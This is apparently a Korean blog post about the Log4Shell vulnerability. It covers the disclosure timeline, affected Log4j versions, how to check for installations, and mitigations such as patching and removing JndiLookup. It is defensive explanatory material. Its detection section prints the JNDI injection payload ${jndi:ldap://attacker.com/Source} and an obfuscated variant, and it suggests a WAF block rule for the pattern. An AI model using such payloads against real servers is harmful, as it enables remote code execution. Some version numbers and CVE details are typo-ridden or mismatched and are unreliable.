어플리케이션

Log 4 Shell에 대해 알아보겠습니다.

forward error correction Circle 2023. 1. 21. 15:54
반응형

Ⅰ. Log4j 정의

 원격 코드 실행을 수반하는 제로 데이 공격, 즉 서술자 Log4Shell(CVE-2021-44228)이 알리바바그룹에 의해 2021 11 24일 발견되어 아파치에 보고되었으며 2021 12 9일 트위터를 통해 일반에 공개되었으며, 해당 취약점을 이용한 공격 성공 시 서버/PC권한 획득, 비밀번호 없이 서버 접근이 가능했습니다.

Log4j 는 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가해서 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능 중 로그를 남기기 위해 사용되는 java 기반 오픈소스입니다.

 

오픈소스를 사용하는 대부분의 웹서버가 Apache 인 부분과 Log 4j를 사용하여 로그를 남기기 때문에 CVE-2021-44228는 CVSS 점수가 10점이 나올 정도로 굉장한 영향도를 가졌습니다.

 

Ⅱ. Log 4j 사건 개요

 CVE-2021-44228,CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, CVE-2021-44832 아파치 소프트웨어 재단의 Java 프로그래밍 언어로 제작된 Log4j 라이브러리를 사용하는 대부분의 인터넷 서비스에서 매우 중대한 보안 취약점이 발견된 사건입니다. 2021년 11월 24일, 최초초 알리바바 클라우드 보안팀의 Chen Zhaojun가 발견되었습니다.
2021년 11월 30일, 해당 문제를 수정하는 PR이 log4j 깃허브에 올라왔다
2021년 12월 9일이 되기 수 일 전부터 해당 취약점을 이용한 시도가 있었을 것으로 추정되며, 12/09 23:25 KST, 트위터에 한 게시글(현재 삭제됨)이 올라옴으로써 본격적으로 알려지기 시작했다.
12/10 04:15 KST, PaperMC가 자사 Discord 서버를 이용하여 긴급 공지를 전송함으로써 이슈가 크게 번지기 시작했다.

내용의 요지는 이 글을 보는 즉시 긴급 패치된 파일로 업데이트하라는 공지를 했습니다. 이후 이 사건에 대한 내용이 밝혀지기 시작했다.
12/10 09:40 KST, 오픈소스 코드 저장소로 알려진 GitHub에서 운영하는 GitHub Advisory Database에 CVE-2021-44228 취약점이 게재되었다.
이후 12:44 KST, 마인크래프트의 기술 책임자가 본인 트위터를 통해 "마인크래프트에 영향을 미치는 중요한 보안 문제가 발견되어 수정하였다."고 발표하였다.이어 최신 버전만 적용되었기에1.7~1.16.5 버전의 서버의 경우 시작 명령줄에 특정 인수를 직접 추가해야한다. 단, 버전 1.7보다 낮은 버전의 마인크래프트는 해당 취약점의 영향을 받지 않는다고 하였다. 동일한 내용은 마인크래프트 공식 사이트에도 첨부되었다.

 ArsTechnica는 특집 기사를 통해 이 사건을 보도하였으며, 마인크래프트는 시작일 뿐이다라는 점을 분명히 했다. 문제가 된 것은 Log4j 라이브러리의 취약점(명령어를 실행시킬 수 있다는) 때문인데, 이것은 현재 대부분의 자바 웹프로그래밍 서버에서 사용되고 있는 라이브러리이기 때문에 Apple이나 Twitter 등등에도 이 버그가 영향을 미칠 수 있다고 AP통신이 보도했다.

 Log 4j 이슈가 되는 것은 제로데이 취약점을 통해 서버에 로그인가 가능하며, 로그인을 하는 것만으로 공격자로부터 사용자의 컴퓨터를 사실상 원격 조종할 수 있는 것이기 때문입니다.

 

Ⅲ. Log4j 취약점 요약

o Apache Log4j 2에서 발생하는 원격코드 실행 취약점(CVE-2021-45105)

o Apache Log4j 2에서 발생하는 원격코드 실행 취약점(CVE-2021-44228)

o Apache Log4j 2에서 발생하는 서비스 거부 취약점(CVE-2021-45046)

o Apache Log4j 1.2에서 발생하는 원격코드 실행 취약점(CVE-2021-4104)

 

Ⅳ. 영향을 받는 버전

o CVE-2021-45105

   - 2.0-beta9 ~ 2.16..0 버전

o CVE-2021-44228

   - 2.0-beta9 ~ 2.14..1 버전 (Log4j 2.12.2 제외)

o CVE-2021-45046

   - 2.0-beta9 ~ 2.12..1  2.13.0 ~ 2.15.0 버전

o CVE-2021-4104 (1.2버전 추가 취약점 발생)

   - 1.2 버전

    ※ JMSAppender를 사용하지 않는 경우 취약점 영향 없음

    ※ log4j 1.x버전 사용자의 경우, EOS 되어 다른 보안위협에 노출될 가능성이 높아 최신버전 업데이트 적용 권고

 

Ⅴ. Log4j 사용현황 확인방법

o 상용제품 사용 중인 경우 아래 링크에 접속하여 해당 제조사를 찾아 제조사가 안내하는 방법으로 확인

* https://github.com/NCSC-NL/log4shell/tree/main/software

 

Ⅵ. log4j  설치 여부 확인

  1) Linux 계열

     - dpkg l | grep log4j –

     - find / -name ‘log4j*’

  2) Windows 계열

     - window explorer (log4j ) 의 검색 기능 검색 을 이용

 

o Java Spring Framework Maven log4j pom.xml 사용 시

 

 설치된 경로의 파일을 열어 “log4j-core”로 검색

- 검색결과 "<version> 사용버전 </version> 으로 확인

 

o 참고 도구를 활용하는 방법 - eclipse 가 설치되어 있는 경우 의 찾기 기능 활용

 

Ⅶ. Log 4j 탐지 방안

 Log4j는 구성 소스, 로그 메시지 및 응용 프로그램에서 전달한 매개 변수에서 JNDI 리소스를 참조하는 문자열을 감지합니다. Log4J는 이러한 문자열에 전달된 URL을 삭제하지 않기 때문에 공격자는 악의적인 서버에 대한 URL이 포함된 필드에 메시지 대체 문자열이 포함된 Log4J를 사용하는 애플리케이션에 대한 악의적인 요청을 만들 수 있습니다.

웹 애플리케이션의 경우 문자열은 ${jndi:[protocol]://[remote 형식으로 악의적인 서버를 참조하는 대체 명령으로 형식화되어 로깅되는 서버 및 코드 주소]} . JNDI 인터페이스(예:  (${${::-j}${::-n}$ {::-d}${::-I}) ).Log4J에 전달되면 JNDI를 사용하는 조회 명령은 Log4J가 Java 코드를 가져오기 위해 서버(로컬 또는 원격)에 도달하게 합니다. 

 payload 는 HTTP 리퀘스트에서 요청자가 보낸 문자열이며, 해당 문자열 내  ${jndi:ldap://attacker.com/Source} 을 포함하면 Log4j는 이 문자열을 그대로 로깅하는 것이 아니라 ladp://attacker.com/Source 를 실행 시킵니다.

 

Ⅷ. 해결 방안

1) WAF 및 IPS 내 ${jndi:[protocol] 문구로 들어오는 것 차단

2) Apache Log4j 2 취약점 (CVE-2021-44228) , (CVE-2021-45105, CVE-2021-4546)

   □ 영향을 받는 버전

      o 2.0-beta9 ~ 2.16.0 모든버전

         제조사 홈페이지를 통해 최신버전(2.16.0 2.17.0)으로 업데이트 적용

        - java8 이상 필수

           1) 2.0-beta9 ~ 2.10.0

- JndLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class\

           2) 2.10 ~ 2.14.1

           - log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정

           3) 2.7 ~ 2.14.1

           - 로그 출력 시 %m 대신 %m{nolookups} 포맷으로 수정 (patternLayout 패턴 수정)

           업무영향도 파악 후 slf4j를 활용한 경우는 logback으로 변경

           4) 2.16.0 추가 패치 (apache log4j security)

           Apache Log4j 1 취약점 (CVE-2021-4104)

           ( 21.12.15 기준 신규 취약점 발생 )

 

반응형